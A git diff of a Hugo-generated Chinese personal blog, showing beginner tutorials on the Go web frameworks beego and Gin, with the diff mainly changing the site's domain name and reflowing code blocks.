fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>beego应用框架的简单使用</h1><div class=post-meta><span title='2022-02-12 16:50:00 +0000 UTC'>2022-02-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/beego%e5%ba%94%e7%94%a8%e6%a1%86%e6%9e%b6%e7%9a%84%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新</p><p>安装</p><p>go get github.com/beego/beego</p><p>go get github.com/beego/bee</p><p>检查是否安装完成</p><p>bee version</p><p>beego项目可使用bee指令来创建和管理</p><p>创建第一个web应用</p><p>bee new hallo</p><p>beego是基于mvc模型的，因此其构建出来的项目文件也是标准mvc模型文件结构，其中main.go是入口文件</p><p>执行go mod tidy，生成go.sum</p><p>启动项目（bee run指令会自动编译部署）</p><p>bee run</p><p>访问http://127.0.0.1:8080/</p><p>其他常用beeg指令</p><p>创建api应用</p><p>bee api apitest</p><p>打包应用命令（将项目打包压缩）</p><p>bee pack</p><p>自动生成代码</p><p>bee generate</p><hr><p>controller控制器</p><p>简单接收一下get请求的参数</p><p>controllers/default.go，在func (c *MainController) Get() 函数中修改</p><pre><code>name := c.GetString(&quot;name&quot;)
+c.Data[&quot;Website&quot;] = name
+</code></pre><p>访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo</p><p>在controllers/default.go看到，其定义了一个MainController结构体，该结构体继承了beego.Controller的全部方法（其中方法包括Get，Post等等方法）</p><p>Model模型</p><p>在bee new中并没有Model实例演示，但是bee api有，而且controller控制器可完成一些简单逻辑，只有当逻辑需要复用时才抽象成Model模型</p><p>View视图</p><p>在controllers/default.go看到c.TplName = &ldquo;index.tpl&rdquo;，这个语句就是设置模板文件，该模板支持tpl和html文件，beego使用了golang默认的模板引擎</p><p>在views/index.tpl中可以看到这个</p><pre><code>&lt;div class=&quot;author&quot;&gt;
+    Official website:
+    &lt;a href=&quot;http://{{.Website}}&quot;&gt;{{.Website}}&lt;/a&gt; /
+    Contact me:
+    &lt;a class=&quot;email&quot; href=&quot;mailto:{{.Email}}&quot;&gt;{{.Email}}&lt;/a&gt;
+&lt;/div&gt;
+</code></pre><p>在controller中，定义了数据，并且该数据赋值给Data，在模板文件中通过{{.Email}}来访问到数据</p><hr><p>数据库交互</p><p>bee generate scaffold test -fields=&ldquo;id:int64,name:string&rdquo; -driver=mysql -conn=&ldquo;root:root@tcp(127.0.0.1:3306)/test&rdquo;</p><p>上面这个命令会自动生成代码，其中-fields参数为字段，-driver为引擎，-conn为数据库登录信息</p><p>如果没有打错指令，会提示是否创建mvc模型的文件，根据提示选择是否要创建</p><p>在models下的test.go文件，可以看到已经添加了管理数据库的函数</p><hr><p>静态文件的引用</p><p>beego默认使用static目录作为静态文件的目录，在main.go文件中beego.Run()之前配置StaticDir["/static"] = &ldquo;static&rdquo;</p><p>如果有多个静态文件目录，可使用beego.SetStaticPath("/test", &ldquo;test&rdquo;)</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/golang/>golang</a></li><li><a href=https://chenjunlinabc.github.io/tags/beego/>beego</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/135/><span class=title>« Prev</span><br><span>Gin框架学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/132/><span class=title>Next »</span><br><span>简单使用ESbuild打包工具</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/135/index.html b/posts/135/index.html
index bb295206..fba6d86a 100644
--- a/posts/135/index.html
+++ b/posts/135/index.html
@@ -2,74 +2,74 @@
 安装
 go get -u github.com/gin-gonic/gin
 第一个demo
-package main
import &#34;github.com/gin-gonic/gin&#34;
import &#34;net/http&#34;
func main() {
g := gin.Default()
g.GET(&#34;/&#34;, func(c *gin.Context) {
c.String(http.StatusOK, &#34;hallo word&#34;)
})
g.Run()
}
go run main.go
+package main import &#34;github.com/gin-gonic/gin&#34; import &#34;net/http&#34; func main() { g := gin.Default() g.GET(&#34;/&#34;, func(c *gin.Context) { c.String(http.StatusOK, &#34;hallo word&#34;) }) g.Run() } go run main.go
 g.Run()是将应用部署到本地服务器上，默认端口为8080，可设置端口，g.Run(&#34;:2333&#34;)
 路由
-r.GET(&#34;/test/:name&#34;, func(c *gin.Context) {
name := c.Param(&#34;name&#34;)
c.String(http.StatusOK, name)
})
g.Run(&#34;:6666&#34;)
127.0.0.1:6666/test/xiaochen
+r.GET(&#34;/test/:name&#34;, func(c *gin.Context) { name := c.Param(&#34;name&#34;) c.String(http.StatusOK, name) }) g.Run(&#34;:6666&#34;) 127.0.0.1:6666/test/xiaochen
 可以看到Context的Param方法可以获取路由的参数
 通过url传递参数
-r.GET(&#34;/test&#34;, func(c *gin.Context) {
name := c.DefaultQuery(&#34;name&#34;, &#34;test&#34;)
c.String(http.StatusOK, fmt.Sprintf(&#34;hallo %s&#34;, name))
})
r.Run()
127.0.0.1:6666/test
+r.GET(&#34;/test&#34;, func(c *gin.Context) { name := c.DefaultQuery(&#34;name&#34;, &#34;test&#34;) c.String(http.StatusOK, fmt.Sprintf(&#34;hallo %s&#34;, name)) }) r.Run() 127.0.0.1:6666/test
 如果没有传递参数将会输出DefaultQuery的默认参数test
 传递参数后 127.0.0.1:6666/test?name=word
 POST请求
-index.html main.go"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/135/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Gin框架学习笔记"><meta property="og:description" content="Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范
+index.html main.go"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/135/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Gin框架学习笔记"><meta property="og:description" content="Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范
 安装
 go get -u github.com/gin-gonic/gin
 第一个demo
-package main
import &#34;github.com/gin-gonic/gin&#34;
import &#34;net/http&#34;
func main() {
g := gin.Default()
g.GET(&#34;/&#34;, func(c *gin.Context) {
c.String(http.StatusOK, &#34;hallo word&#34;)
})
g.Run()
}
go run main.go
+package main import &#34;github.com/gin-gonic/gin&#34; import &#34;net/http&#34; func main() { g := gin.Default() g.GET(&#34;/&#34;, func(c *gin.Context) { c.String(http.StatusOK, &#34;hallo word&#34;) }) g.Run() } go run main.go
 g.Run()是将应用部署到本地服务器上，默认端口为8080，可设置端口，g.Run(&#34;:2333&#34;)
 路由
-r.GET(&#34;/test/:name&#34;, func(c *gin.Context) {
name := c.Param(&#34;name&#34;)
c.String(http.StatusOK, name)
})
g.Run(&#34;:6666&#34;)
127.0.0.1:6666/test/xiaochen
+r.GET(&#34;/test/:name&#34;, func(c *gin.Context) { name := c.Param(&#34;name&#34;) c.String(http.StatusOK, name) }) g.Run(&#34;:6666&#34;) 127.0.0.1:6666/test/xiaochen
 可以看到Context的Param方法可以获取路由的参数
 通过url传递参数
-r.GET(&#34;/test&#34;, func(c *gin.Context) {
name := c.DefaultQuery(&#34;name&#34;, &#34;test&#34;)
c.String(http.StatusOK, fmt.Sprintf(&#34;hallo %s&#34;, name))
})
r.Run()
127.0.0.1:6666/test
+r.GET(&#34;/test&#34;, func(c *gin.Context) { name := c.DefaultQuery(&#34;name&#34;, &#34;test&#34;) c.String(http.StatusOK, fmt.Sprintf(&#34;hallo %s&#34;, name)) }) r.Run() 127.0.0.1:6666/test
 如果没有传递参数将会输出DefaultQuery的默认参数test
 传递参数后 127.0.0.1:6666/test?name=word
 POST请求
-index.html main.go"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/135/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-02-15T17:00:00+00:00"><meta property="article:modified_time" content="2022-02-15T17:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Gin框架学习笔记"><meta name=twitter:description content="Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范
+index.html main.go"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/135/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-02-15T17:00:00+00:00"><meta property="article:modified_time" content="2022-02-15T17:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Gin框架学习笔记"><meta name=twitter:description content="Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范
 安装
 go get -u github.com/gin-gonic/gin
 第一个demo
-package main
import &#34;github.com/gin-gonic/gin&#34;
import &#34;net/http&#34;
func main() {
g := gin.Default()
g.GET(&#34;/&#34;, func(c *gin.Context) {
c.String(http.StatusOK, &#34;hallo word&#34;)
})
g.Run()
}
go run main.go
+package main import &#34;github.com/gin-gonic/gin&#34; import &#34;net/http&#34; func main() { g := gin.Default() g.GET(&#34;/&#34;, func(c *gin.Context) { c.String(http.StatusOK, &#34;hallo word&#34;) }) g.Run() } go run main.go
 g.Run()是将应用部署到本地服务器上，默认端口为8080，可设置端口，g.Run(&#34;:2333&#34;)
 路由
-r.GET(&#34;/test/:name&#34;, func(c *gin.Context) {
name := c.Param(&#34;name&#34;)
c.String(http.StatusOK, name)
})
g.Run(&#34;:6666&#34;)
127.0.0.1:6666/test/xiaochen
+r.GET(&#34;/test/:name&#34;, func(c *gin.Context) { name := c.Param(&#34;name&#34;) c.String(http.StatusOK, name) }) g.Run(&#34;:6666&#34;) 127.0.0.1:6666/test/xiaochen
 可以看到Context的Param方法可以获取路由的参数
 通过url传递参数
-r.GET(&#34;/test&#34;, func(c *gin.Context) {
name := c.DefaultQuery(&#34;name&#34;, &#34;test&#34;)
c.String(http.StatusOK, fmt.Sprintf(&#34;hallo %s&#34;, name))
})
r.Run()
127.0.0.1:6666/test
+r.GET(&#34;/test&#34;, func(c *gin.Context) { name := c.DefaultQuery(&#34;name&#34;, &#34;test&#34;) c.String(http.StatusOK, fmt.Sprintf(&#34;hallo %s&#34;, name)) }) r.Run() 127.0.0.1:6666/test
 如果没有传递参数将会输出DefaultQuery的默认参数test
 传递参数后 127.0.0.1:6666/test?name=word
 POST请求
-index.html main.go"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Gin框架学习笔记","item":"https://xiaochenabc123.github.io/posts/135/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Gin框架学习笔记","name":"Gin框架学习笔记","description":"Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范\n安装\ngo get -u github.com/gin-gonic/gin\n第一个demo\npackage main\rimport \u0026quot;github.com/gin-gonic/gin\u0026quot;\rimport \u0026quot;net/http\u0026quot;\rfunc main() {\rg := gin.Default()\rg.GET(\u0026quot;/\u0026quot;, func(c *gin.Context) {\rc.String(http.StatusOK, \u0026quot;hallo word\u0026quot;)\r})\rg.Run()\r}\rgo run main.go\ng.Run()是将应用部署到本地服务器上，默认端口为8080，可设置端口，g.Run(\u0026quot;:2333\u0026quot;)\n路由\nr.GET(\u0026quot;/test/:name\u0026quot;, func(c *gin.Context) {\rname := c.Param(\u0026quot;name\u0026quot;)\rc.String(http.StatusOK, name)\r})\rg.Run(\u0026quot;:6666\u0026quot;)\r127.0.0.1:6666/test/xiaochen\n可以看到Context的Param方法可以获取路由的参数\n通过url传递参数\nr.GET(\u0026quot;/test\u0026quot;, func(c *gin.Context) {\rname := c.DefaultQuery(\u0026quot;name\u0026quot;, \u0026quot;test\u0026quot;)\rc.String(http.StatusOK, fmt.Sprintf(\u0026quot;hallo %s\u0026quot;, name))\r})\rr.Run()\r127.0.0.1:6666/test\n如果没有传递参数将会输出DefaultQuery的默认参数test\n传递参数后 127.0.0.1:6666/test?name=word\nPOST请求\nindex.html main.go","keywords":["golang","Gin"],"articleBody":"Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范\n安装\ngo get -u github.com/gin-gonic/gin\n第一个demo\npackage main\rimport \"github.com/gin-gonic/gin\"\rimport \"net/http\"\rfunc main() {\rg := gin.Default()\rg.GET(\"/\", func(c *gin.Context) {\rc.String(http.StatusOK, \"hallo word\")\r})\rg.Run()\r}\rgo run main.go\ng.Run()是将应用部署到本地服务器上，默认端口为8080，可设置端口，g.Run(\":2333\")\n路由\nr.GET(\"/test/:name\", func(c *gin.Context) {\rname := c.Param(\"name\")\rc.String(http.StatusOK, name)\r})\rg.Run(\":6666\")\r127.0.0.1:6666/test/xiaochen\n可以看到Context的Param方法可以获取路由的参数\n通过url传递参数\nr.GET(\"/test\", func(c *gin.Context) {\rname := c.DefaultQuery(\"name\", \"test\")\rc.String(http.StatusOK, fmt.Sprintf(\"hallo %s\", name))\r})\rr.Run()\r127.0.0.1:6666/test\n如果没有传递参数将会输出DefaultQuery的默认参数test\n传递参数后 127.0.0.1:6666/test?name=word\nPOST请求\nindex.html main.go\nr.POST(\"/form\", func(c *gin.Context) {\rtypes := c.DefaultPostForm(\"type\", \"post\")\ruser := c.PostForm(\"user\")\rpass := c.PostForm(\"pass\")\rc.String(http.StatusOK, fmt.Sprintf(\"user:%s,pass:%s,type:%s\", name, pass, types))\r})\rr.Run()\r","wordCount":"91","inLanguage":"en","datePublished":"2022-02-15T17:00:00Z","dateModified":"2022-02-15T17:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/135/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>Gin框架学习笔记</h1><div class=post-meta><span title='2022-02-15 17:00:00 +0000 UTC'>2022-02-15</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Gin%e6%a1%86%e6%9e%b6%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范</p><p>安装</p><p>go get -u github.com/gin-gonic/gin</p><p>第一个demo</p><pre><code>package main
-import &quot;github.com/gin-gonic/gin&quot;
-import &quot;net/http&quot;
-func main() {
-g := gin.Default()
-g.GET(&quot;/&quot;, func(c *gin.Context) {
-	c.String(http.StatusOK, &quot;hallo word&quot;)
-})
-g.Run()
-}
-</code></pre><p>go run main.go</p><p>g.Run()是将应用部署到本地服务器上，默认端口为8080，可设置端口，g.Run(":2333")</p><p>路由</p><pre><code>r.GET(&quot;/test/:name&quot;, func(c *gin.Context) {
-    name := c.Param(&quot;name&quot;)
-    c.String(http.StatusOK, name)
-})
-g.Run(&quot;:6666&quot;)
-</code></pre><p>127.0.0.1:6666/test/xiaochen</p><p>可以看到Context的Param方法可以获取路由的参数</p><p>通过url传递参数</p><pre><code>r.GET(&quot;/test&quot;, func(c *gin.Context) {
-    name := c.DefaultQuery(&quot;name&quot;, &quot;test&quot;)
-    c.String(http.StatusOK, fmt.Sprintf(&quot;hallo %s&quot;, name))
-})
-r.Run()
-</code></pre><p>127.0.0.1:6666/test</p><p>如果没有传递参数将会输出DefaultQuery的默认参数test</p><p>传递参数后 127.0.0.1:6666/test?name=word</p><p>POST请求</p><p>index.html</p><p>main.go</p><pre><code>r.POST(&quot;/form&quot;, func(c *gin.Context) {
-    types := c.DefaultPostForm(&quot;type&quot;, &quot;post&quot;)
-    user := c.PostForm(&quot;user&quot;)
-    pass := c.PostForm(&quot;pass&quot;)
-    c.String(http.StatusOK, fmt.Sprintf(&quot;user:%s,pass:%s,type:%s&quot;, name, pass, types))
-})
-r.Run()
-</code></pre></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/golang/>golang</a></li><li><a href=https://xiaochenabc123.github.io/tags/gin/>Gin</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/136/><span class=title>« Prev</span><br><span>简单了解RESTful设计规范</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/134/><span class=title>Next »</span><br><span>beego应用框架的简单使用</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+index.html main.go"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Gin框架学习笔记","item":"https://chenjunlinabc.github.io/posts/135/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Gin框架学习笔记","name":"Gin框架学习笔记","description":"Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范\n安装\ngo get -u github.com/gin-gonic/gin\n第一个demo\npackage main import \u0026quot;github.com/gin-gonic/gin\u0026quot; import \u0026quot;net/http\u0026quot; func main() { g := gin.Default() g.GET(\u0026quot;/\u0026quot;, func(c *gin.Context) { c.String(http.StatusOK, \u0026quot;hallo word\u0026quot;) }) g.Run() } go run main.go\ng.Run()是将应用部署到本地服务器上，默认端口为8080，可设置端口，g.Run(\u0026quot;:2333\u0026quot;)\n路由\nr.GET(\u0026quot;/test/:name\u0026quot;, func(c *gin.Context) { name := c.Param(\u0026quot;name\u0026quot;) c.String(http.StatusOK, name) }) g.Run(\u0026quot;:6666\u0026quot;) 127.0.0.1:6666/test/xiaochen\n可以看到Context的Param方法可以获取路由的参数\n通过url传递参数\nr.GET(\u0026quot;/test\u0026quot;, func(c *gin.Context) { name := c.DefaultQuery(\u0026quot;name\u0026quot;, \u0026quot;test\u0026quot;) c.String(http.StatusOK, fmt.Sprintf(\u0026quot;hallo %s\u0026quot;, name)) }) r.Run() 127.0.0.1:6666/test\n如果没有传递参数将会输出DefaultQuery的默认参数test\n传递参数后 127.0.0.1:6666/test?name=word\nPOST请求\nindex.html main.go","keywords":["golang","Gin"],"articleBody":"Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful 